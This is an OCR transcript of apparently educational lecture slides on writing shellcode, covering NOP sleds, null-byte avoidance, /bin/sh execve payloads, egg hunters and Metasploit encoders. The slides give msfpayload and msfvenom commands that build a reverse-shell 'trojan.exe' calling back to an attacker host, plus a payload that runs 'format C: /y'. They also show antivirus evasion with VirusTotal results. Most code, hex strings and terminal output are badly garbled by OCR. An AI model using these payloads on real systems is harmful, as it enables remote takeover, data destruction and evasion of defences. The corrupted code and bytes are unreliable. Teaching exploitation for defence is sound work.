MODERN VULNERABILITY
EXPLOITATION:

SHELLCODING




Shellcode

» Shellcode

A set of instructions injected and executed by
exploited software

Also called a “payload”
|II

Denoted as “shell”code because shellcode most
typically spawns a command shell




NOP Sled

= NOP Sled

Set of instructions which ultimately do not affect
code execution

Placed before shellcode so that a transfer of
execution into the NOP sled will transfer
execution into the shellcode

NOP instruction (\x90)
Good NOP sleds
Do not interfere with code execution

May be entered at any location
Are hard to detect




NOP Sled
Technology

= |DS Evasion

Easy to detect a large oxgo NOP sled
ADMutate

Single-byte x86
Opty2

Part of Metasploit

Multi-byte slide




NOP Sled
Technology

= Multi-byte NOP Sleds

bb b0 bf 2¢c b6 27 67 2F 4A 1b f9 -- shellcode

stc

edi,

edx

das

dh,
al,
edi,
al,
ebx,

eCXx

0x27

0xbé
0x6727b62cC

Oxbf
0xb62cbfb0




Linux System Calls

=  System Calls
Aka syscall
Powerful set of kernel functions

= Linux System Call
The syscall numberis loaded into EAX

Arguments are placed in other registers
EBX, ECX, EDX, ESI, EDI, EBP

Int ox8o (\xCD \x80)
CPU switches to kernel mode
Syscall executes




Exit Shellcode

= Exit.c

We will compile statically
This will include the exit function in our executable
gcc -static -o exit exit.c

int maini() {

exit(0):
1




Exit Shellcode

1H1Hﬁ-rHu NﬁShEllCDding} gCC -statlc -0 exit
Jojolerey:~/shellcoding> gdb exit
GNU gdb 6.¢ C“.EGO?D?:h MWH

1 C. 7 Free software Foundation, Inc.

, covered by the GNU hwnwral Fublic License, and you are
weluume to LhdHE_ 1t and/or distribute coples of 1t under certaln conditions.
Type "show copying” to see the conditions.

There 1s absolutely no warranty for IDE Tupe "show warranty"” for details.
This GDB was confilgured as "153t : 11HH .
Using host libthﬁead_db library "/ p .s0.1"
(gdb) disas X1t
[:'II['IIF_I of asse __1}—'[ code for +_'I_I,r'||‘1'i||r|
HfﬁHD4ﬁ+WH _exit+0>: Mow %
x0804d+94 x1t+4>: mow
04d+99 X1t+9>: call
04d+9¥f x1t+15>: mov
03 04dfa4d wit+20> int
Ox0804dfab < _exit+22>: hlt
End of assembler dump.
(edb)

III III III III III III

Ifth disas *(0x 20hc05C

Dump of mbler code for FHHFTiDﬂ _dl_sysinfo_ 1HfHU
§ 04+Flu {_jl sysintfo_1intsg > 1nt Ix80
Ix0804F51Z <{_dl_sysinfo_1intsg ret

End of assembler dump.

( !5:'—“:' ) .




Exit Shellcode

= Two Syscalls

Exit Group (oxFC)
Argument 1: [esp+4] =2 0
Exit (ox01)
Argument 1: [esp+4] 2 O

Dnmp of ﬂ::&NblEF code for +HHFT1HH

x1t+0> : mow
X1t+4> : Moy
x1t+9> : call
x1t+15>: mov
x1t+Z20>: 1nt
X1t+22 0 hlt

Ox08040d+90
O0x0804d¥94 -
Ox0804d+99 -
Ox0804d+9¥
Ox0804d+agd -
Ox0804d¥ ab

mlmrumlm!n




Exit Shellcode

= Exit.asm
NASM (Netwide Assembler)
We do not need the exit group for our shellcode

Section .text
global _start

_start:
mov ebx, O
mov eax, 1
int 0x80




Exit Shellcode

= Exit.asm
Assemble with NASM
Link/Load with Id
Execute
Dump with objdump

Jojolerey:“/shellcoding?> nasm —-f elf exit_shellcode.asm
]H}Hﬁ'rwu:NthpllCDdlﬂ-3 1d -0 exit_shellcode exit_shellcode.o
Jojolg fHH:ﬁxﬁhHllCUd o> ./exit_shellcode

]ll]lll" ey : “/shellcodi
11

n:?
Jojolgrey:"/shellcoding?> objdump -d exit_shellcode

1
1
exit_shellcode: file format elf3Z-1386

section .text:

hbh 00 00 Q0 QO Moy
h& 01 Q0 00 00 mosw
cd 80 int
*—hHllCDE 2> |




Exit Shellcode

» Shellcode Test
Standard C template to test shellcode

char shellcode[] = "‘\xbb\x00\x00\x00\x00"
"\xbh8\x01\x00\x00\x00"
\xcd\x80":

int main() {
int *ret;
ret = (1nt *)&ret + 2;
(*ret) = (int)shellcode;

,'|| | ]l 1E
.']I ) ]l 1E
,'|1 | ]l 1E

_:”?-hwllcodln_,
-—hHllLUle_,

1 ‘LI | ‘_LI l _Ll
00 00 oo
1I| |I| III

:“/shellcoding> gcc rest _exit sh OC rest_ex1t_shellcode.c



Injectable Shellcode

= Common Constraints on Shellcode
No null bytes
Ascii text only
Uppercase/lowercase
Unicode only

Uppercase/lowercase

{_start>>:
hih OO0 Q0 00 00
- h& 01 00 00 00
804806a: cd 80




Injectable Shellcode

= No Null Bytes
Literals are a large source of nulls
Xor trick

Truncation trick
Section .text Section .text

global _start global _start

_start: _start:
mov ebx, O xor ebx, ebx
mov eax, 1 mov al, 1

int 0x80 int 0x80




Injectable Shellcode

08048060 <_ : - > e
£80480K0 - b Q0 00 00 00 mow
204805 - 18 01 00 00 00 moy
S04806ba: S0 1Nt

Jojolgrey:"/shellcoding?> nasm —-f elf exit_shellcode_inj.asm
JDJD@%PEQ:”f—hwllLudln-ﬁ li -0 &> 1T_E}EllLudH 1n] exit ShEllDDdE_inj.D
Jojolgrey:"/shellcoding> 1t_ lcode_1inj

Jojolgrey:’ -—hHllEudlr'?

jojoBgrey:~/shellcoding? objdump -d exit_shellcode_in,j

exlt_shellcode_1inj: fi1le format elf3Z2-1386
Disassembly of section .text:

start) .
31 dhb
b0 01
cd 80

]G}ué_rHu “/shellcoding>




Popping a Shell in Linux

» Local Shell Shellcode

execve

int execve (const char *filename, char *const argv[], char *const
envp[])

#include <stdio.h>

int main() {
char *cmd[] = {"/bin/sh", NULL};

execve(cmd[O], cmd, NULL);




Popping a Shell in Linux

» Local Shell Shellcode

Jojolgrey:~/shellcoding gc: static -o shell shell.c
jojoBgrey:~/shellcoding> ./shell
sh—=3.2% whoami
Jo,Jo
Sh—3.2$ ex1lt
w1t
‘|||‘||||" rey: " /shellcoding .




Popping a Shell in Linux

38 {main>:
= le.
=1al
aushl
push
moyw
push
sub
08 fc 09 08 mosw 1
FE 00 Q0 Q0 QO Mo L
moyw
08 00 Q0 QO mosw 1

1
04 Mo
mirsy
Q0 00 call
acdd
00
p (] [:1
lea
ret
nop
nop
nop
nop
nop
nop




Popping a Shell in Linux

0804dfd0 <{__execwve’:
804d+d0O: 5! push
S04d+'dl: 89 . Moy
804dfd3: 8h < O mosw
804d+d6 : 53 fuish
'E' ':l4|j +- |j._"" . 'E» Nl _L|:| moy
g04dfda: 8h ! 08 mow
S04dfdd: g 0Oh 00 00 00 MmOss
S804dfe’: P 15 Sc c0O Ob 08 call
g04dted: 89 c! Mo
g04dtea: g1 +9 00 0 ff +F cmp
S04dff0: 77 03 E
804df+Z: : POpP
S04df+3: : pop
g04d++4: e ret
g804d++39: 8 e £+ £+ ff Mo
g04dfta: P/ dY neg
g804d+fc: 5 8 15 00 00 00 00 Moy
Bﬁ4wﬁﬁ7: 89 Oc 02 Moy : ‘odx . %eax
80 5 " fFOFFOFF mow F0x {{{{y{{y of
504200b - aJ=l1 Jmp 804df+z '
8 |'_'|4l:‘":'| |’:'| I_i . 30 nop
g0 - 10 nop
8 U4F:"._-| '-_-|+ . 10) nop




Popping a Shell in Linux

= Jump /Call
Position Independent Code (PIC) technique

A call gives us access to relative addressing
Section .text

global _start

_start:
jmp short shellcode call

shellcode:
pop esl
// shellcode goes here

shellcode call:
call shellcode
db '/bin/sh’




Popping a Shell

= Notes

db in code section
Essentially scratch space

Avoid nulls
Xor
Truncation
Dynamic overwrite

PIC
Using ESI

in Linux

Section .text
global _start

_start:
jmp short shellcode call

shellcode:
pop esil
X0r eax, eax
mov byte [esi+7], al
lea ebx, [esi]
mov long [esi+8]., ebx

mov long [esi+12 -ﬂ

mov byte al, Ox0b

lea ecx, [esi1+8]
od 20X
int Ox80
shellcode call:

call shellcode
db '/bin/shJAAAAKKKK'




| Popping a Shell in Linux

» Shellcode Test
Standard C template to test shellcode

char shellcode[] =
"\xeb\xla\x5e\x31\xcC
"\ x0c \xbO\x0b\x89\xT3\x8d\

- TT s+ :_'T vR2\ ¥ RO\ ¥ Re ;) ' )

3\ x 89\ x5e\x08\x89\x46"
xS6\x0c\xcd\x80\xe8\xel"
’ \x68\xd4a\x41\x41\x41\x41"
'"\x4b\x4b\x4b\x4b";

int main() {
int *ret;
ret = (1nt *)&ret + 2;
(*ret) = (int)shellcode;




Windows Shellcoding

= Windows Shellcode

System calls exist (int 0x2e)
But most functionality is found elsewhere
Windows uses DLLs for most system functions
These addresses change per OS and service pack
Code normally resolves addresses dynamically
This makes Windows shellcode large

Means we have to process the PEB in our shellcode
= Popping a Shell in Windows

Never do this!




Position Independent Code
Revisited

= Noir's Get EIP
fldz

Dummy FPU instruction

fnstenv
Gets the EIP of the last FPU instruction

Pop
Pops the value into EAX

DOEE fldz
D97424F4 fnstenv [esp-0xc]
58 pop eax




Position Independent Code
Revisited

= Call $+4
Relative jump to inter-call instruction
Opcodes are decoded on the fly

inc ebx

pop eax

ES8FFFFFFFF call 0x4 FFC3
C3 ret 58
58 pop eax




Types of Payloads

= Single
"Self-contained” payload
= Stager
A payload that loads then executes a stage

Over a network connection
* Allows use of large payloads

Kernel to user (ring o to ring 3) handoff
* Metasploit's stager sysenter hook

Usually smaller than single payloads
= Stage
A payload that is loaded via a stager



Types of Shellcode

= | ocal
= Remote

Download and Execute
Staged

Egg-hunter
Omelet




Local Versus Remote Shellcode

= Local Shellcode
Privilege escalation

= Remote Shellcode

Reverse

Connect from victim back to hacker

Bypasses firewalls and NAT
Bind

Open a server port on the victim for the hacker
Find

Reuse an existing connection




Download and Execute / Staged
Shellcode

» Download and Execute Shellcode
Commonly used for browser drive-by attacks

Shellcode downloads a file from a network
Saves it to the disk, then executes it

= Staged Shellcode

Stager shellcode downloads stage shellcode

Stager usually called stage 1
Stage usually called stage 2




Egg Hunter / Omelet
Shellcode

= Egg Hunter

Small hunter shellcode is injected at a predictable
location

Searches for a larger egg at a less predictable
location

= Omelet

Recombines multiple small eggs into one payload
called the omelet

Useful if you can only inject small blocks




Egg Hunter / Omelet
Shellcode

= Survivable Search Techniques
NtAccessCheckAndAuditAlarm
Offsetox2 inKiServiceTable

; push address to check

push edx
; NtAccessCheckAndAuditAlarm
mov eax, 0x02

; syscall

int 0x2e
; did we get an ACCESS VIOLATE (0xc0000005)°7

cmp eax, 0xc0000005




Metasploit Egg Hunter

= Egg Hunter Stub
Egg tag
The marker repeated twice
Marker
Random 4-byte identifying value
Checksum stub

Computes the payload checksum in case we got a
false positive on the marker




Metasploit Egg Hunter

check readable:
; jJump at most Oxfff ahead
or dx, Oxfff

next addr:

inc edx ; edx 1s for searching
push edx ; preserve edx
; NtAccessCheckAndAuditAlarm
push 0x02
pop eax ; 0x02

syscall

eax =
int Ox2e ;
; did we get ACCESS VIOLATION
; (0xc0000005) 2

cmp al, 5
pop edx ; restore edx

je check readable

check for tag:
; check that the tag matches
; once
mov eax, #{marker}
mov edi, edx

scasd ; compare to eax

[es:edi]
jne next addr ; not our marker
; 1t must match a second time

; since now edi = edx+4

scasd ; compare to eax

[es:edi]
jne next addr
; optionally insert a checksum
; stub here

# {checksum}
; Jump to the payload
jmp edi




Shellcode Encoder

* Encoder
Algorithm to transform shellcode
Creates equivalent shellcode with different byte
sequence that has special properties

Filter evasion

= Character set restriction

AV [ IDS evasion

* Instruction patterns

= Static string detection (like “/bin/sh")
Size reduction

Complex encoders often leave decoders in the
shellcode (called a decoder stub)




Shellcode Encoder
IDS Evasion

= Polymorphism
Code “unravels” itself as it executes
Typically implemented with a decoder stub

= Metamorphism

Code changes to equivalent code
Avoids pattern detection

Randomness is used in the code generation




Encoders

Xor

Jump/Call Xor Additive Feedback
Alpha/Unicode

Shikata Ga Nai

Others...




Shikata Ga Nali Encoder

» Shikata Ga Nai

Xor additive feedback encoder
Japanese for "nothing can be done about it”

Detection is too computationally expensive
Especially for network devices

Excellent encoder
Default Metasploit encoder




ASCII Art

.eyyyyne.
.dp*! "Hh
daQ7 “gé&
.GH'
SME:
*AYL ',
riws L
GAED, °'.
:GJLh "HEI"™

ODFC, .,..
:HNPLh .°'
THKGCh
"ALEKP. .NN
"MMMNKh 1INJH 1
“JHEADh 1AM’
7IHCI, BB!
JGKAA 1Ki '
1EKDO 'CI
*IHEM
, FCP7
tr..t.0oDI!
TTrL.rt iDC7
KB7

: 1 * .80
* ,atHYP®

ti9PKTX*

dH
OJ

R
.
] ]
.dKPb,
.HEKCMDH,
, MMAAGGL7
.TONTY**w
NL7
:PM
“EL
TH;
“FC, .iK:
*KN,. .,HC**
“WIFE®* "

r

rr

-y =
" 'MDiI

-~ -~

'PM

dr! !

dNI"

, KA

* .dIDN"
"FEI

R R

~ s~

-~

.-~

TX2fit7u dt'
0"

'n||~ MJN,.
'EBOGGh

'HP' ™!
"LE*iG ,PM. A7 K7.F1

iKB"FHE'
ND:
dC d7 iA.AC"".;
.dJ .P7 iE7"

iL7 "
.KI;

Encoder

, SfOGTXu °
dC=" *60
- 'Nh.
IMi
EJ,
:Mi
'MP
*JJ
'KA
1 O!
d, iF E
dIa 'D7!'G
'MC iC iH

-~ -~

L}
LI B B B -
.-~

- ~

- LI ]
.

.-~ .-~

-

-~ -~

ITTMMN
1FFLOK

~mwa
.

.SNs.
LO"'7K,dO"
P:
Ki d7 7K,
EL EN'.
" dD"w *!..
SMF'
.LPMDCPAEIM,

-~

-
-r

70I,K!'i7 AT!
TLE7,N'i*"
'E7,17

4

dPF, ,.

;i dMDJJ ".°'

,™ HK 'DPI7

*,," M, .LF'
*LK”"

ACP 17"

LI B B
-

Kic

"T.NK; JEKNAAl"""°

.-~

KJ*
v
!Ch,

"]1Ps..sP!

" 'BLHEL1
* "DBE7 """
1G7

-~ -~

-~

LTI

.H!OMDCM7 "

*fTr~1m-m
-

LGGTT**nnm*KKAFEKIJ,
"CAACPGK,

., 3aaé, .
, » 2373pjAXHOGWWE
dRKK*"!' "~ * TTiwwg

aKF* '
7L,
“7P, ..,dHEIJPD; ..

-~

.éAp¥yy,

-~ -~

TU'WTHPHJFT7*!

-~

.SEBs,

'KI .siKOK7'
dI"' i7

:I,dJ"

"PpP7' MD,

., T*TML71,
.8KLi:,,

-~
r -

-~
=

b v e v e 7

"GHKPKL,
"LAHGGK,
"EDJLIRO, ,

.-~

“yg .
LI L B B B

FCét
rnwEe
' @MMD
.JLJ7

, JCI¥*

iDIGHELEODs,
"OMEAIFD"'*IK,

Eh

"h
N!
. PO

-~

~

" "NKNENKLKNK *

HEIJ!"



Metasploit Shellcode Generator

= msfpayload
Metasploit shellcode generator
Web

Console

Command-line




Metasploit Shellcode Generator

JjojoRgrey:~/framework-3.2> ./msfpayload -h
./msfpayload <{payload> [var=vall <S[ummaryl|C|Plerl]|[RublylRlaw]|Jlavascript]|elX]lecutablel| [VIBA>

6 total)

Name Description

ix/ppc/shell_bind_tcp Listen for a connection and spawn a command shell
ix/ppc/shell_find_port Spawn a shell on an established connection
Cor t bhack to attacker and spawn a command shell
or a connection and spawn a command shell
Spawn a shell on an established connection
aix/ppcb4/shell_reverse_tcp Connect back to attacker and spawn a command shell
bhsd/sparc/shell_bind_tcp Listen for a connection and spawn a command shell
bsd/sparc/s _reverse_tc Cor t back to attacker and spawn a command shell
bsd/x86/exec Execute an arbitrary command
Listen for a connection, Execute an arbitrary command
Use an established connection, Execute an arbitrary command

Connect back to the attacker, Execute an arbitrary command
sbind_tcp Listen for a connection, Spawn a command shell
/find_tag Use an established connection, Spawn a command shell

Cor t back to the attacker, Spawn a command shell

_bind_tcp Listen for a connection and spawn a command shell

shell_find_port Spawn a shell on an established connection




Metasploit Shellcode Generator

= msfencode
Metasploit machine code encoder

Jojolerey "/ framework-3.2>

msfencode <{options>

OFPTIONS:

-a < > The architecture to encode as

-h < > The list of characters to avold: "“\x00\xff'
-e <opt> The encoc
Help banner
Encode the contents of the supplied file path
List avallable encoders
specifiles an additional module ch path
Dump encoder 1nformation
The output file
The maximum size

The

ler to use




Metasploit Shellcode Generator

Metasploit Console (1)

>> show encoders

Encoders

Name

cmd/generic_sh
generic/none
mipsbe/longxor
mipsle/longxor
php/baset64
ppc/longxor
ppc/longxor_tag
sparc/longxor_tag
xB86/alpha mixed
xB86/alpha upper
xB86/avoid_utfB8_tolower
xB86/calld4 _dword xor
x86/countdown
xB86/fnstenv_mov
x86/Jmp_call additive
x86/nonalpha
x86/nonupper
x86/shikata ga nai
x86/unicode_mixed
x86/unicode_upper

Description

Generic Shell Variable Substitution Command Encoder
The "none™ Encoder

XOR Encoder

XOR Encoder

PHP Baset64 encoder

PPC LongXOR Encoder

PPC LongXOR Encoder

SPARC DWORD XOR Encoder

AlphaZ2 Alphanumeric Mixedcase Encoder

AlphaZ2 Alphanumeric Uppercase Encoder

Avoid UTF8/tolower

Call+4 Dword XOR Encoder

Single-byte XOR Countdown Encoder

Variable-length Fnstenv/mov Dword XOR Encoder
Polymorphic Jump/Call XOR Additive Feedback Encoder
Non—-Alpha Encoder

Non-Upper Encoder

Polymorphic XOR Additive Feedback Encoder

AlphaZ Alphanumeric Unicode Mixedcase Encoder
AlphaZ Alphanumeric Unicode Uppercase Encoder




Metasploit Shellcode Generator

JoBgrey ::“/framework-3.2> ./msfencode -

Framework Encoders

REE Rank Description
cmd/generic_sh normal enerlc Shell Varilable Substitution Command Encoder
generic/none normal "none" Encoder
mipshe/longxor normal X0R Encoder
mipsle/longxor normal X0R Encoder
php/basetd normal PHF Basebt4 encoder
ppc/ r normal 'PC IR Encoder
ppc/ oxor_tag normal 12gX0R Encoder
sparc/ gxor_tag normal SPARC DWORD XOR Encoder
86/ low AlphaZ Alphanumeric Mixedcase Encoder
alpha_upper low AlphaZ Alphanumeric Uppercase Encoder
Javold_utfE_tolower manual Avold UTF8/tolower
fcalld_dword_xor normal Call+4 Dword XOR Encoder
Scountdown normal single-byte XOR Countdown Encoder
Sfnstenv_mowv normal Variable-length Fnstenv/mov Dword XOR Encoder
Jmp_call_additive great Folymorphic Jump/Call XOR Additive Feedback Encoder
/nonalpha low Non-Alpha Encoder
Snonupper low Non-Upper Encoder
‘shikata_ga_nail excellent FPolymorphic XOR Additive Feedback Encoder
unicode_mixed manual AlphaZ Alphanumeric Unicode Mix e Encoder
funicode_upper manual AlphaZ Alphanumeric Unicoc




Metasploit Shellcode Generator

= Using msfpayload and msfencode Together
Generating custom shellcode (C arrays)

./msfpayload windows/exec \
cmd = ‘format C: /y’ \
exitfunc = process R |

./msfencode -b “\x00” -t c

Generating a hostile executable

./msfpayload windows/meterpreter/reverse tcp \
lhost = 192.168.1.50 \
lport = 12345 \
exitfunc = process R |

./msfencode -t exe -o trojan.exe




Metasploit Shellcode Generator

= Using msfpayload and msfencode Together
msfvenom combines msfpayload and msfencode
Generating a hostile executable

./msfvenom windows/meterpreter/reverse tcp \
lhost = 192.168.1.50 \
lport = 12345 \

-t exe > trojan.exe




Metasploit Shellcode Generator

= AV Evasi
vVasion
‘ VI RUS Virustotal is a service that analyzes suspicious
files and facilitates the quick detection of viruses,

. T T AL worms, trojans, and all kinds of malware detected
by antivirus engines. More information...

File trojan4.exe received on 2009.09.23 22:35:29 (UTC)
Current status: finished
Result: 1/41 (2.44%)

Version LastUpdate Result

VAl Cfmme M T T A=~ £ © c 200G ng 22 Hanyrdioerims TambaTilae Win2? T
sewtaCCTONTLUALLLULL - el e AL B - idclili lolble. OUWAD

ekt PN L LAV Ny




|  Generating Rick Roll Shellcode

./msfpayload windows/exec \
cmd="explorer "http://smouch.net/lol"" \
exitfunc=process R | \

./msfencode -a x86 -e x86/shikata ga nai -b "\x00" -t c

CMD Shell

C:\Documents and Settings\Jojo\Application Data’\msf32>ruby msfpayload windows/ex
ec cmd=’explorer “http://smouch.net/lol"’ exitfunc=process R | ruby msfencode —a
x86 —e x86/shikata_ga_nai -b "\x88" -t c

[#*] x86/shikata_ga_nai succeeded, final size 173

unsigned char bufl]l =

"\xhaN\x85\xf 4\ x1 a\xeb \x31\xc 2 \xd?\xe1 \xb1\x25\xd?\x74\x24\xf 4"
'\x58\x83\xe8 \xf c\x31\ x50\ xBe\xB3\ x50\ xBe\xb6 7\ xB1\xeb\xBe\x23"
"\xea\x1 2 \xcf \x20\xaf \x2hb\x44\x4a\x35\x2c \x5bh\x5d\xhe\x83\x43"
"\x2a\x2e\x3b\x7?5\xc P\ x6 8\ xh7?\x41 \xPc \xba\x22\x I8\ x62\xf5\x19"
NS5\ xa2\x72\x65\xal\xe8\x76 \x6 8 \xe I\ xB7\xZc\x51\xh?\xf 3\ x79"
\xd3\xd2\x70\xde \x3 f \x1c\x6d\x8 ?\xh4\x12\x3a\xc3\x?24\x36\xhd"
"\x38\xal\x5b\x36 \xbf \x5d\xea\x14\xed4 \xa5 \x2e\xf b\xd5\x53\xda"
NS E5NXT72N L NS PANX6 PN E 1\ X6 PN\ x54\xB2\x 7?5\ x7?4\xc I\ x?Ff\x1e\x8c "
N\ x 28\ x6 P\ x5 d\x4c\xf B\ xc 7\ xBa\x3 3 \xdd\xB5\xbh?\xa3\x45\x37?\xh4"
"\x3a\x21\x38\x2e \x27\xh5\xh6 \xdd\xc ?\x3 7 \x53\x6c\x38\x?a\xf3"
"\xed\x4c \xaa\x3 I\ x2a\x82\x3 2\ x50\ x5 b\ xa? \xde\xc2\x8d\x3f\x44"
"\x66\xf d\xd3\xe?\xea\x23\x2c\xfc";

C:\Documents and Settings\Jojo\Application Data\msf32>exit




Shellcode Resources

= Metasploit

= Shell-Storm.org




Questions/Comments?




